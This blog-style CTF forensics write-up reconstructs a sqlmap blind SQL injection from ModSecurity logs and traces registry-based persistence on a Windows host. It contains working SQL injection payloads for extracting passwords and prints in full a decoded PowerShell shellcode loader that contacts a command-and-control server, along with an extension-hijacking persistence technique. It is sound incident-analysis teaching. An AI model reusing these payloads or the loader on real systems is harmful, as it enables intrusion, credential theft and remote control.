CyCTF 2024 Forensics Writeups

Ahmed Ghanem
13 min readNov 2, 2024

--

In this writeup, we will dive into the forensics challenges presented in the Cysheild CTF 2024, providing detailed solutions and methodologies used to tackle each Challenge.

— — — — — — — — + — — — — — — — -+ — — — — — +
| Challenge | Category
+ — — — — — — — — + — — — — — — — -+ — — — — +
|
Injection | Logs Forensics
+ — — — — — — — — + — — — — — — — -+ — — — — +
|
Persisted | Reg Forensics
+ — — — — — — — — + — — — — — — — -+ — — — — +

Challenge: Injection
Category:
Logs Forensics

we are given apache2 web server Log files, apache2.rar which contains :

  1. access.log : Records all incoming requests to the server ,Includes details like client IP, request URL, response status, and user-agent.
  2. error.log : Logs errors encountered by the server, such as issues with requests, server misconfiguration, or missing files.
  3. modsec_audit.log : Logs details of requests filtered by ModSecurity (a web application firewall) ,Includes request headers, response headers, and sometimes the full payload.

After we checked the log files , we found a huge amount of errors and logged requests because of sqlmap tool (version 1.8.8) , which used in Detecting and Exploiting SQL injection Vulnerability.

The Purpose of challenge is to know about the structure of modsec_audit.log and it’s audit sections (A-B-C-F-E-H-Z) .

In ModSecurity (or ModSec) audit logs, specifically in modsec_audit.log, there’s a particular structure in which entries are grouped into different sections, often denoted by single-letter tags like A, B, C, etc. These tags represent different parts of the HTTP transaction, and each section provides specific information for analyzing requests, responses, and ModSecurity's decisions. Here’s what each letter means:

A — Audit Log Header:
Contains metadata about the request, such as the transaction ID, timestamp, and client IP address. This section is essential for uniquely identifying and timestamping requests.

B — Request Headers:
Logs all headers sent by the client, like Host, User-Agent, and Accept. It helps identify client details and the intended target URL.

C — Request Body:
Records the content of the request body, which may include form data, JSON, or XML. This section is useful for inspecting data sent to the server, particularly in POST requests.

F — Response Body:
Contains the body of the server’s response, such as HTML or JSON. It is valuable for verifying the actual content the server return

E — Response Headers:
Logs all response headers sent by the server, such as Content-Type, Server, and Set-Cookie. This section provides insights into server responses and helps in checking headers that may reveal sensitive information.

H — Transaction Handling Information:
Gives the final status of the transaction, including the HTTP status code, action taken by ModSecurity, and log messages. This section is useful for summarizing the outcome and security actions of the request.

Z — Audit Log Footer:
Marks the end of the transaction entry in the audit log, clearly separating each transaction in the file.

After we Determined the structure of the modsec_audit.log, let’s dig deep in our challenge .

There are two important sections in the log file that will helps us to find what the attacker was able to exfiltrate from the database .

  1. The C section which contains the body of the request which in our case is the body of post request contains a vulnerable id parameter , this section contains the payload used for the attack ,
id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E51&Submit=Submit

2. The second important section is E section which contains the response body .

In Our case in the challenge is Content-Based Blind SQL Injection Attacks

In this type of blind SQLi, an attacker performs various SQL queries that claim the database TRUE or FALSE responses. Then the attacker observes differences between TRUE and FALSE statements.

We know this from comparing different responses in the E section .

We found that if the sql query is implemented and returns TRUE , we will find “User ID exists in the database.” in the response and if it returns False we will find “User ID is MISSING from the database.” in the response .

At this point we have two things :
1. The payload (in the id parameter);
2. The way we can check if the payload returns TRUE or FALSE ;

Now we need to simplify the process of dealing with the file modsec_audit.log , so i used “find and replace” method to replace html code in the E section for the TRUE response with this simple sentence
User ID exists in the database.” and for FALSE response with
User ID is MISSING from the database.

This is For TRUE
This for FALSE

Now we need to extract this two sections only to easy deal with, so i created a python code that :

import re
import urllib.parse

# Define the file name
filename = 'modsec_audit.log'

# Regular expression to match lines starting with '--' and ending with 'E--'
pattern = re.compile(r'^--.*E--$')

# List to store the results
results = []

# Open the file and read it line by line
with open(filename, 'r') as file:
lines = file.readlines()

# Loop through each line
for i in range(len(lines)):
line = lines[i]
# Check if the line matches the regex pattern
if pattern.match(line):
# If the line matches the regex, add the next line (if it exists)
if i + 1 < len(lines):
next_line = lines[i + 1].strip() # Capture the next line
results.append(next_line) # Add the next line to results

# Print the results in the desired format
for line in lines:
if line.startswith('id='):
# Extract the ID value from the line
id_value = line.split('&')[0].split("=")[1]
# Decode the URL-encoded ID value
decoded_id = urllib.parse.unquote(id_value)

# If there's a corresponding next line in results
if results:
next_line = results.pop(0) # Get the next line stored from regex match
print(f"{decoded_id} : {next_line}")

1- extracts id parameter value .
2- decode it from url encoding .
3- get the line the contain the indication of TRUE or FALSE

In the following format : decoded payload : id missing | id exist

I saved the output to output.txt , then i used “find and replace” to replace
User ID exists in the database.” with TRUE and “User ID is MISSING from the database.” with FALSE .

The output will look like the following :

Now we need to understand the SQL quires to know what the attacker was extracting from the database .

let’s take an example like :

1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64 : FALSE

This query used to extract the password of a user from a table named “dvwa.users” and take a specific character and convert it to it’s ASCII number then check it with a number.

in the following image the arrow number 1 is the place related to user and the number 2 arrow is for the password’s char number

As an example :

This query extract the char number 31 from the password of user 6 in the table “dvwa.users” and then check if it is greater than 52 or not and we have the answer next to it “TRUE”

1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 6,1),31,1))>52 : TRUE

How can use this method to get the password ?

i used grep command to extract all queries related to extraction of password

cat output.txt | grep "AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT " 

The output will look like this :

then i get the queries related to a specific user as example user 6 with :

1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 6,1),"

Now we need the quires related to a specific character in the password so i used this command

cat output.txt | grep "1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),1,1))"

In the Image we are checking for the first char of the password for the
user 3 , look at the true and false you will find that the first char for the user 3 is “67” (this is because it is greater that 66 and not greater than 67)

For the second char :

cat output.txt | grep "1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),2,1))"

we can find the second char is “121”

For the third char :

cat output.txt | grep "1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),3,1))"

you will find that third char is “67”

NOTE : How i knew that the flag is the third and fourth users password

The answer is from reversing the beginning of the flag which is converting the C to it’s ascii number and you will get 67 and i searched for the user with first char is 67 is false which means >66 is true

and for the end of the flag i made the same process and i converted “}” to it’s ascii and i found it at index 19 in the password of user 4

start of the flag

if you followed this process tell the end of the password of user 3 you will find this “CyCTF{b7fee0604437d7” → first part of the flag

and the rest of the flag you will find is the password of user 4 which is
“8b228e1d07d01ca626}” → second part of the flag link

FLAG : CyCTF{b7fee0604437d78b228e1d07d01ca626}

Challenge: Persisted
Category: Re
g Forensics

To solve the challenge we need to know :

  1. What is the complete path of the initial registry key responsible for the persistence mechanism?
  2. What is the name of the file the attacker deployed to execute persistence?
  3. What are the IP address and port of the C2 server?

In this challenge we are given 6 registery files :

These files are part of the Windows registry, a database that stores low-level settings for the operating system and installed applications. Here’s a simple breakdown of each file:

  1. DEFAULT.hiv: Contains the default user profile, used as a template for new user profiles. It is often the configuration when no specific user is logged in.
  2. NTUSER.hiv: This file is specific to each user account on the system. It stores settings and preferences unique to that user, such as desktop layout, application settings, and personal customization.
  3. SAM.hiv (Security Account Manager): Stores user account information, including usernames and hashed passwords for local users and groups. This file is crucial for managing user access to the system.
  4. SECURITY.hiv: Contains security-related policies and settings, including permissions and auditing rules, which control who has access to system resources.
  5. SOFTWARE.hiv: Holds information about installed software, such as applications and their configurations. This file is often used by applications to store settings and licensing information.
  6. SYSTEM.hiv: Stores details about the hardware and system configuration, including drivers and services that load during startup. It is essential for the operating system’s stability and functionality.

I invistigated all of this files at once in registery explorer .

There’s a file that caught my attention at :

Software\Microsoft\Windows Defender\Exclusions\TemporaryPaths

This registry path is part of the Windows Defender configuration. This specific entry is used to manage temporary file paths that are excluded from Windows Defender's real-time scanning.

This done at 2024–10–24 20:59:05

There was a file with name cyshell2.ps1.txt , I thought this is the file that attacker used to get a shell on the victim machine.

After some search with the file name , i found this file is recently opened

Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

I found the file also found at :

Software\Microsoft\Windows\Shell\Bags\1\Desktop

This used to store specific view settings for the Desktop folder. This path falls under the Bags key, which holds individual folder settings for different locations in File Explorer

At this time i started to search with the time the Windows Defender Execlusion key was edited

After digging deep in the output , I found indications of registery editing

The registry key path Software\Microsoft\Windows\CurrentVersion\Applets\Regedit is used to store settings for the Windows Registry Editor (regedit). This path contains configuration data specific to the Registry Editor's behavior and appearance.

The important thing here is LastKey , This value often stores the last location or key that was accessed in the Registry Editor.

After I checked the last key accessed , we found it stores a base64 encoded string .

Software\Microsoft\GameBarApi

After i decoded the string from base64, I found the following malicous powershell code that used for in memory code execution using Windows API Functions .

Set-StrictMode -Version 2

function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim3MjIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGhPRmIj9sJ6cjkdeKND2zWe022vtFwfEjW3X1HiRQyOqEi6WLbAVNa0YzDmrI+vX84XYH7R/iAqDrXADq/MXoxe08GKMDev+V83749A5iN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDe0FMWwouKSNyZtr1BbmZXBwfvTF4zyxVAXV65wIXDjDJgpb/ltLmzzNrBU31Shf/L0BzGNkSXKjh/yrUNEmaIzQ69tWW1FlbMtr8ebvaJaaoxJ/jdL5AyntkSdY1cy3O1cUwsVTNyOGnRc3xlDUs6Q1uM0lcrfuBMOwghpJ77GEBcHpjja7NEYQ7vjCZkltT1+WUKzbv5EyeRum39fKLw8AnhU4bqpna7zVQDU9prW9TN55nYsWPR46N8TvFhuUvCvM9jYKXhGFqnW3sqXG0HoQBgg31fXjokTvUVSzishpVzRkjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BIaEQ0SFRsNEhIVDRIRGiMZ/UuS')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}

This code used to decode a base64 string then xor it with 35 key .

I tried to decode it but i was to only get the ip the file tried to connect to but there was a problem with the port number .

So i saved the content of malicious code to file.ps1 and uploaded it to virustotal , here is the link of file on virus total.

I was able to get the ip and the port for the command and control server form virus total .

After this i thought to search with Gamebarapi to check if there was any call to it .

And i was right i found the key that contains the command that execute the malicious code .

Key Path
Software\PhantomAgent\ExecutionScript

In this Path i found the command that execute the malicous code. It gets the content of “HKCU\Software\Microsoft\GameBarApi” then decode it from base64

there is something caught my attention , which is there was a file with unknown extension 1223.phantom

i then tried to search with this extention :

After few seconds of shell script execution there was a new file extention was added .

Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts

The FileExts section in the Windows Registry holds settings for each file extension recognized by Windows Explorer. It tracks the default application used to open each file type, as well as any user-specified application preferences. Here’s how it’s structured:

  • File Extensions: Each file extension (e.g., .txt, .pdf, .jpg) has its own subfolder under FileExts, containing configurations for that specific file type.
  • OpenWithList: Lists applications that the user has previously chosen to open this file type. This list is shown when you right-click a file and select “Open with…”.
  • UserChoice: Stores the user’s current preferred application for opening the file. Changing the default program in Windows modifies the entry here.
  • OpenWithProgids: Contains the programmatic identifiers (ProgIDs) that associate the file type with various applications.

we can see that the attacker added new extention to this key

Key Path
Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom

After some search i found this attack near to attack called File extension hijacking but in our case the attacker created new extention

Using OpenWithList to Add Malicious Programs to “Open With…” Options:

  • The OpenWithList subkey keeps track of applications that a user has previously chosen to open files with. Attackers can add malicious executables to this list, so that even if they do not set the malicious program as the default, users might open it from the "Open with…" context menu.
  • This technique is less direct but may still result in malicious execution if users accidentally select the malware.

after checking this key i found that the attacker set the .phantom extension to open with Powershell.exe .

At this point I found the persistence Registery key and the malicious file used for persistence:

Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom\OpenWithList

malicious file for persistent is “1223.phantom”

so the flag is :

Flag : CyCTF{HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom\OpenWithList:1223.phantom:192.168.116.129:80}

Thanks for your time and effort. I hope you liked and enjoyed reading it. ❤️❤️
If you have any comments, edits, or another way to solve them, don’t hesitate to contact me: Linkedin

--

--